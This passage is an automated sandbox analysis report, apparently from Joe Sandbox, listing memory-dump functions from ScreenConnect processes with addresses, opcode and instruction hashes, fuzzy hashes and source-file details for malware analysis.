Opcode Fuzzy Hash: 83a8cf02dcd2b67bf294032fbd8d5eb98dce2deac610e655cb69cc003c403726
Instruction Fuzzy Hash: BC213E302007058FD734CF29D948A96BBF5EF54320B148B6DD592977A1DB31E94ACFA0

Function 00D650C1 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb7b7cf8f556615ae2410dca99cc28791995e7bc28ceb4b351162a4c835c19e
Instruction ID: 04e44f9989513e38c59b03c4121079fccd51404431efc7787d12bf265307eeeb
Opcode Fuzzy Hash: 3eb7b7cf8f556615ae2410dca99cc28791995e7bc28ceb4b351162a4c835c19e
Instruction Fuzzy Hash: E5119039B002005BDB44EB7CE99176EBBA6EFC4300F14C525E155EB3A9DB71AE0987E1

Function 00D650D0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b64ab3b703c2096e7f973f30027d33cc1a358ad831d015440f0fb292d536a07
Instruction ID: 59afe5501124afdc9f17e76cd25098a17ec2d7dca684c86d58fcb772c32a9313
Opcode Fuzzy Hash: 5b64ab3b703c2096e7f973f30027d33cc1a358ad831d015440f0fb292d536a07
Instruction Fuzzy Hash: E6117F35B002045BDB44EB6CE991B6EBBA6EFC4310F008525E5059B399DF71AE0987E1

Function 00D64F41 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d880d504784a8e8308688d72e92421402bf79e74c3cbd4dee7756c20e29ff8
Instruction ID: 0d255ec0cc7e03d37cb28fb31d6b811ee579486ec660be18e36b5c24d3c66b97
Opcode Fuzzy Hash: a9d880d504784a8e8308688d72e92421402bf79e74c3cbd4dee7756c20e29ff8
Instruction Fuzzy Hash: 1511547590424A9FCB41DFA8CD409DEBFB1EF46310B14819AD505FB262D7726E0ACBA1

Function 00D63890 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f122c6a9da7ebdd9c724e707c6cd21fcd200451773256e25b2b62cdbb37f28f3
Instruction ID: 3eb140df5cca4bcf9bad8ea0a63e306385808c3a382631c955426e9d0ba1fc38
Opcode Fuzzy Hash: f122c6a9da7ebdd9c724e707c6cd21fcd200451773256e25b2b62cdbb37f28f3
Instruction Fuzzy Hash: 6B11C134B442428FC7059B68C8A556AFFB1EFC9320B2481AED9459B395DB31DD05CBA2

Function 00D65649 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcbc6788ce3570fcad405f2a0fa8b6c0238567c4fb83aa1780116f9efc5cf15a
Instruction ID: 7575c6683d89b976ba8c0a8a0925d3bd5e05b37e1be16b526f4dc99df1660693
Opcode Fuzzy Hash: fcbc6788ce3570fcad405f2a0fa8b6c0238567c4fb83aa1780116f9efc5cf15a
Instruction Fuzzy Hash: 01110670E00744AFCB11DFA8D800AEEBBB2AFC5310F5884AAD480DB165D7718942CB90

Function 00D65658 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ea099314d157db0e597ac3e0d5bb9f17bd9c694d11f73d2d03079f9f679136
Instruction ID: 7d321797bb5e1dae00a5b1b1a29e1d754c5ad74668322a9d2fddae411a283b69
Opcode Fuzzy Hash: a4ea099314d157db0e597ac3e0d5bb9f17bd9c694d11f73d2d03079f9f679136
Instruction Fuzzy Hash: 9A11A170F00605AFDB14DEA9D900AAFB7B6AFC4310F58C476D554D7268D7719A41CBA0

Function 00D65035 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f84313a0d72ce492d75eb17f85c5431d5b69121e01fa061f74e3ba39d74ed4a
Instruction ID: dd37938a46dae11aef77b4e579a11ad94048acf91b7d8a7a7b6ea544b186923d
Opcode Fuzzy Hash: 8f84313a0d72ce492d75eb17f85c5431d5b69121e01fa061f74e3ba39d74ed4a
Instruction Fuzzy Hash: 8411583194000ADBCB05DFA8E9948DCBBB2EF81314F58C455E045AB129DB72ED8ADBA0

Function 00D66E58 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb9fcaa18de271f0a5dc62734912ef3d757d8f803f9ceed60d5bd7b126ef71f
Instruction ID: 1c834baac8fca806fb12a4234f2de388d68b1de31d30f078bf13358d6f5bc669
Opcode Fuzzy Hash: 1fb9fcaa18de271f0a5dc62734912ef3d757d8f803f9ceed60d5bd7b126ef71f
Instruction Fuzzy Hash: BF01F53AF043118BC7098BB8984005ABBA6EBC4310324C96BE545DB366DAB2CC098BE0

Function 00D64F50 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a808067eba982f86ffc111c2402a7e19652b3d60b45a6f6956ee7af28cfafeb0
Instruction ID: 24fdc32ae3b34bcea22d24450daebc1dc34c7617436729a193b6154ea3143d2e
Opcode Fuzzy Hash: a808067eba982f86ffc111c2402a7e19652b3d60b45a6f6956ee7af28cfafeb0
Instruction Fuzzy Hash: 7E11163590010A9FCF40DFA8D9409DEBBF5FF49314B108556D509FB261D772AE0ACB90

Function 0099D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2444777275.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_99d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a417385150f6ec0fc015d60b25d75c2749a912c08bb7f7880f5e4bb27c9a13
Instruction ID: a468870969eb2eb8154d3c8e10bc6cc1c8323e24158e09d5ac990ace38776c17
Opcode Fuzzy Hash: d7a417385150f6ec0fc015d60b25d75c2749a912c08bb7f7880f5e4bb27c9a13
Instruction Fuzzy Hash: C901DB714063449AEB208E1DCDC4B67FF9CEF45324F18C529ED490B286C27D9941C6B1

Function 0099D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2444777275.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_99d000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 630485591e8a8e7b2c6f9a9dd704ff5f935ff6c5a189679ba57fa7500b4ebc15
Instruction ID: d779bb4698e05e43260a05b3bafa91f2ee7690cbf61b6446967a44b53504cb24
Opcode Fuzzy Hash: 630485591e8a8e7b2c6f9a9dd704ff5f935ff6c5a189679ba57fa7500b4ebc15
Instruction Fuzzy Hash: 7001006140E3C09EE7128B258C94652BFB8EF57224F1985DBD9888F1A7C2695849C772

Function 00D67FF8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8da8161b11a78ecef1c7a4f8087c4b61ac29a487a04401b40ee49fd2e52158a6
Instruction ID: fb67e427017ed64d1d2a77ba308bea2b05780c58440e21466216020870bd8a7e
Opcode Fuzzy Hash: 8da8161b11a78ecef1c7a4f8087c4b61ac29a487a04401b40ee49fd2e52158a6
Instruction Fuzzy Hash: D601AD7660D3808FC365CF38A840686BBE1AF65700F0988AFE4C5C72C1EA32AC45CB25

Function 00D68158 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d401ad198a11896b8657e0805c3f2b645b257ae48ee5fe863a86fe4cce80e4
Instruction ID: f2c2a680529a56914117a7f2cff7e3e8b980a507a09fbed7cf5bba276c9abf5c
Opcode Fuzzy Hash: e8d401ad198a11896b8657e0805c3f2b645b257ae48ee5fe863a86fe4cce80e4
Instruction Fuzzy Hash: 42F0C8B691C3059FC715CF78D54014ABBE59F85214F09C57FD48DD3250EA39A902DB62

Function 00D612A0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 495af340ff7861eb42ddd751a6a5584da354ebe3ee5ade25d9a2e97cdf638e21
Instruction ID: 3441de68f70c18e5de46d1ff146674c11e790f0fa7ff6124ade75b2786213628
Opcode Fuzzy Hash: 495af340ff7861eb42ddd751a6a5584da354ebe3ee5ade25d9a2e97cdf638e21
Instruction Fuzzy Hash: 20F0283A2406004FCB129B3CA8259AA3FA6DFC934030881AED045CB216DF71DC099BE1

Function 00D68168 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3687d449702c33d1c373adebbd95d77f10c9e8408dfece5b0781c5008592df74
Instruction ID: e71dc0ed720f1c0d041f8333d61c6de90f42322d862aaf3171d6f31605a241f8
Opcode Fuzzy Hash: 3687d449702c33d1c373adebbd95d77f10c9e8408dfece5b0781c5008592df74
Instruction Fuzzy Hash: A4F08C77B0C3146FDB28CABAA40069BBBDECBD5224B14C07FE55DC3780E975A8018764

Function 00D65F68 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb6f06f35858cb7f2ecf4abac198da080fdf7099b9bb6d0fbed4f87461358606
Instruction ID: 8dbd053605ecc61b8cf8d93a6a50adc6965fb2d6afbe3e60e76a1284c64c7c68
Opcode Fuzzy Hash: fb6f06f35858cb7f2ecf4abac198da080fdf7099b9bb6d0fbed4f87461358606
Instruction Fuzzy Hash: 38F0A722706E825FC71152547C540056FD58E56356B2C81E2F054CB28AE911CCC14371

Function 00D61414 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3a56bcd18bdc0a2f494bd4649210e9e0a8e0a9e2a435d6ddf1d55cd0dee4bc
Instruction ID: 92f990faca1a19a1df3196faa5dddd262c7ccddd47b0be46ae678c1a4be2f978
Opcode Fuzzy Hash: fd3a56bcd18bdc0a2f494bd4649210e9e0a8e0a9e2a435d6ddf1d55cd0dee4bc
Instruction Fuzzy Hash: E8F0B4A350C3904FD326A778B8116983FA1DEE231074849DAD4818F6A7D75AEA09D761

Function 00D612B0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa0f9aeb6c1bafa3fe07db3874fd149d83d53001142f2e591ebacf89cc8003bd
Instruction ID: 04afa3fb7c612c5b9195cc413b44de516be6ae0e6d06cbb8b64779a631c99a0e
Opcode Fuzzy Hash: fa0f9aeb6c1bafa3fe07db3874fd149d83d53001142f2e591ebacf89cc8003bd
Instruction Fuzzy Hash: 80F0E536300A008B8B16A66DE82095F3BDADFC9750314803DE409C7304EFB2EC05ABD1

Function 00D61DA1 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 080a792fb305a12ecb03006e6e6df8600f3f550cff89ae3a9ba1c7997c053c05
Instruction ID: ce99df7dcc33ca72752d381a90e81bf0e4c7b2b7ca9fd24c70d8fb1c2ccd6ec1
Opcode Fuzzy Hash: 080a792fb305a12ecb03006e6e6df8600f3f550cff89ae3a9ba1c7997c053c05
Instruction Fuzzy Hash: 15E0E53E7042408BC3465BB8982412D3B739EC222130C8827D156CB3F1CE318C05CBB2

Function 00D66EF8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2192460293efb5eff2ff9e08411480f53d5049782dab9e1fc026addcbdd9a0eb
Instruction ID: 6a8c217894b3ad21dfeed926bb7fb29d5deadd2882232e5286c261e02b9ed56c
Opcode Fuzzy Hash: 2192460293efb5eff2ff9e08411480f53d5049782dab9e1fc026addcbdd9a0eb
Instruction Fuzzy Hash: 96E02631700310578B142AAE78C852FBADAFFC9A21344843DF20EC3340CE718C0543E0

Function 00D6181B Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 683b2755ac9b874e9aca0673ba35ca85c3cb21b5784c3bdf382ccee417c74a67
Instruction ID: 149e6c828f75cf0375c31626fa97ed1826a20d92510caa408eee455e6e6d774f
Opcode Fuzzy Hash: 683b2755ac9b874e9aca0673ba35ca85c3cb21b5784c3bdf382ccee417c74a67
Instruction Fuzzy Hash: 69F0E538A192909FC7066FB59A1C2587FE1EF46302B19449AD41687321CB319801CBE2

Function 00D61DF8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c1acf650d09d82135d828d589adb3055fd177b1747d44bc57a43675c123b2e
Instruction ID: afb98b9ebe330825430bf07f4c0074995a4109ccc57cb6210cfc7faa6af8a18b
Opcode Fuzzy Hash: 40c1acf650d09d82135d828d589adb3055fd177b1747d44bc57a43675c123b2e
Instruction Fuzzy Hash: 1CE0227894B2CA9FC742EFB4EC40759BFB8CB43202B0441DAD548CB252DA714F049BA2

Function 00D66EF3 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff5ec04d9b012bdb72f427f262eec01276f0ca8d8caca39d397b80714e142968
Instruction ID: 4d32f96d50a774721f0ab33e2cfc9223125b442d102a84c73c54c900c2440fec
Opcode Fuzzy Hash: ff5ec04d9b012bdb72f427f262eec01276f0ca8d8caca39d397b80714e142968
Instruction Fuzzy Hash: E7E0DF36740300878B042BFD64D822D76D3AFC8626358883EE10AD33A0CE728C164791

Function 00D65F78 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e9368b782a0545b165f2dbb5df833ad97751a948aedad1750aa93cbcb9fc002
Instruction ID: 835cca07cf911d9272f3c2a7ea86640e66289ea010ab22a570221af0e4e9735e
Opcode Fuzzy Hash: 3e9368b782a0545b165f2dbb5df833ad97751a948aedad1750aa93cbcb9fc002
Instruction Fuzzy Hash: 21E08632B01D519B8B10915CB854555B3C98F99365F3C8571F528CB388FA22DC8143B0

Function 00D61310 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9685229fdb58bf0e8cd3f3079d8bddb3f808fdf2116ef1b08ede690f1df47013
Instruction ID: 8fffeab30e04acefcca53033d70465d2962d6c5b771b88c28369e26df5b434ba
Opcode Fuzzy Hash: 9685229fdb58bf0e8cd3f3079d8bddb3f808fdf2116ef1b08ede690f1df47013
Instruction Fuzzy Hash: C9E09B74D001055B8B40DFFC9745459BBF0DA09214B288699945AD7791F732950347E1

Function 00D60838 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ecd040df462a3843260686ff2d4e0c616c414a4f25315bc79ee3b975aff70d1
Instruction ID: deaa3eb9b92e90a5f20136a5e110a3175626dae1b74f59003d02dcc01c1306c3
Opcode Fuzzy Hash: 8ecd040df462a3843260686ff2d4e0c616c414a4f25315bc79ee3b975aff70d1
Instruction Fuzzy Hash: 53F0E53080A285CFC711DFF8D94486A3FB1EF8730474842CBC4549B1A2C6289912FBE2

Function 00D613D3 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d3dec3c958693898718a71c3db7c73b14b8e3186e3c250e7d54f566b0eafaeb
Instruction ID: 5bbf6693ee1e34d6bd71d130181e47c28e5d2bd2b6f9a769de40f9b44aad9b1d
Opcode Fuzzy Hash: 1d3dec3c958693898718a71c3db7c73b14b8e3186e3c250e7d54f566b0eafaeb
Instruction Fuzzy Hash: 50E02B7520C3800FC316D7BCF4016DC3FA1DEC221070809D9D0408F277C755A908C365

Function 00D61DB0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda0cbcf112c8a5bc85debc5b0d2e75b049a500c2a0632afa500cb9a9a241613
Instruction ID: d0eb34db926922bc1590bd9ac171cc7e5b19c18fce139af46faf769ae2a2cb1f
Opcode Fuzzy Hash: eda0cbcf112c8a5bc85debc5b0d2e75b049a500c2a0632afa500cb9a9a241613
Instruction Fuzzy Hash: 5EE0867A3101145742446B7DE80855E7BAADFCA2713108526E51AC73D0CF719C0297E1

Function 00D68120 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d975b8e3691e53e584aa549cea1e238732ddd807b68bacd3c78197a2bb2be65
Instruction ID: 6f8e4ce4c525e010345fe150e5c60546401322fb1af6d4cb1cbb3bdde3fe4750
Opcode Fuzzy Hash: 0d975b8e3691e53e584aa549cea1e238732ddd807b68bacd3c78197a2bb2be65
Instruction Fuzzy Hash: 92E06DB081D3828FC341DF789958145BFE0AF06201F05899EC884C7151E2359996CB52

Function 00D6392C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c45d86c1e6319c52991df287d0db8a4b21a0a2838fcf926958c6c9b3944bb5
Instruction ID: 2b3e7ca7b45c9a24696c8e37cebcc9ecbae6272d042172940ecf112f8a4de4c0
Opcode Fuzzy Hash: c8c45d86c1e6319c52991df287d0db8a4b21a0a2838fcf926958c6c9b3944bb5
Instruction Fuzzy Hash: A4E0C216B4E2D00FD70303386CA02F97F64CF83214B1800D3C0C5CB093D664461AD766

Function 00D67FB8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66f88271505855a98a94fb1b01495b1b82f8e585b32dfcde9b8058b57b025634
Instruction ID: bfeaded8346c3e1f4b65a51467abd3e1ada57719bd24c71b2d349fdb6f38d9fe
Opcode Fuzzy Hash: 66f88271505855a98a94fb1b01495b1b82f8e585b32dfcde9b8058b57b025634
Instruction Fuzzy Hash: 6EE04F3004D3915FC3129B24988A6D57FE4AB16228F0849D9D5858E583D266A45BCFA2

Function 00D60848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfe5b4a2da36f9e826cda6dd50b47562d4c2b93e357c06c6953a7d8634fcb46a
Instruction ID: 5f95a96d181eaa3723583d3b24971d0166bce2ac12f21d954e3871dbe719118a
Opcode Fuzzy Hash: cfe5b4a2da36f9e826cda6dd50b47562d4c2b93e357c06c6953a7d8634fcb46a
Instruction Fuzzy Hash: 3DD01730A15208EF8B40EFB8E90195EBBF9EB45300B1041A8D408D3210EA316F01AB81

Function 00D61E08 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2445250148.0000000000D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d60000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162e323455fa9d13085976c32a99359b1e87081e9b907048e2fe8cf7a4deb36e
Instruction ID: 1d77164cb4d721e3512a605be876429616401163107a616d34f6736cc35f822b
Opcode Fuzzy Hash: 162e323455fa9d13085976c32a99359b1e87081e9b907048e2fe8cf7a4deb36e
Instruction Fuzzy Hash: 03D05B75D0110CEFCB40DFB8ED41B5DB7B9DB45201B1085A9D408D7244DA715F049B81

Analysis Process: ScreenConnect.ClientService.exePID: 1440, Parent PID: 632COMMON

Executed Functions

Function 01BCC67F Relevance: 2.8, Strings: 2, Instructions: 277COMMON

Download Yara Rule

Strings

$]q, xrefs: 01BCC841
$]q, xrefs: 01BCC84D

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 315509945ab1dc06a1734f94836b182d99db439724cea70fc5647c20e36d8bdf
Instruction ID: a3df232d6c3fef8d20ed8248da54f34d4c0c57808a73f3bb7ec2351e00d46561
Opcode Fuzzy Hash: 315509945ab1dc06a1734f94836b182d99db439724cea70fc5647c20e36d8bdf
Instruction Fuzzy Hash: 38B1A330A00319CFDB19EFA9C454AAEBFB1FF55704F1086ADD509AB265DB74D886CB80

Function 01BCEF78 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

(&]q, xrefs: 01BCF0A9
(aq, xrefs: 01BCF1C8

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (&]q$(aq
API String ID: 0-1602648543
Opcode ID: f3be296efb861364361fa999d6b836dfe001160e4033a8888ff040bd60aac036
Instruction ID: 792f1f9eb2a023207832a0cdf1cf4c7e3edc9e4dbf6f2dbf425c999d2b8c9774
Opcode Fuzzy Hash: f3be296efb861364361fa999d6b836dfe001160e4033a8888ff040bd60aac036
Instruction Fuzzy Hash: 52617231F002198BEB18DFB9C4506AEBAA6EFD9700F1485ADD406B7384DF34AD46C791

Function 01BC4C62 Relevance: 2.6, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

`Q]q, xrefs: 01BC4C86
`Q]q, xrefs: 01BC4DEB

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: `Q]q$`Q]q
API String ID: 0-3952371890
Opcode ID: 6ca18f0cdbcede1f9dbea9305f967bec620bb65568fe7f948ce6499862967c3e
Instruction ID: 690483c7faa8dd80682e920c30816220ec2dac2ab4f24053c342cb4280ff1ca3
Opcode Fuzzy Hash: 6ca18f0cdbcede1f9dbea9305f967bec620bb65568fe7f948ce6499862967c3e
Instruction Fuzzy Hash: B841AE71A003199FDB68AF68C814BAEBFB5FB49700F0085E9D549A7290DB745E48CF92

Function 01BC5410 Relevance: 2.5, Strings: 2, Instructions: 16COMMON

Download Yara Rule

Strings

$]q, xrefs: 01BC5425
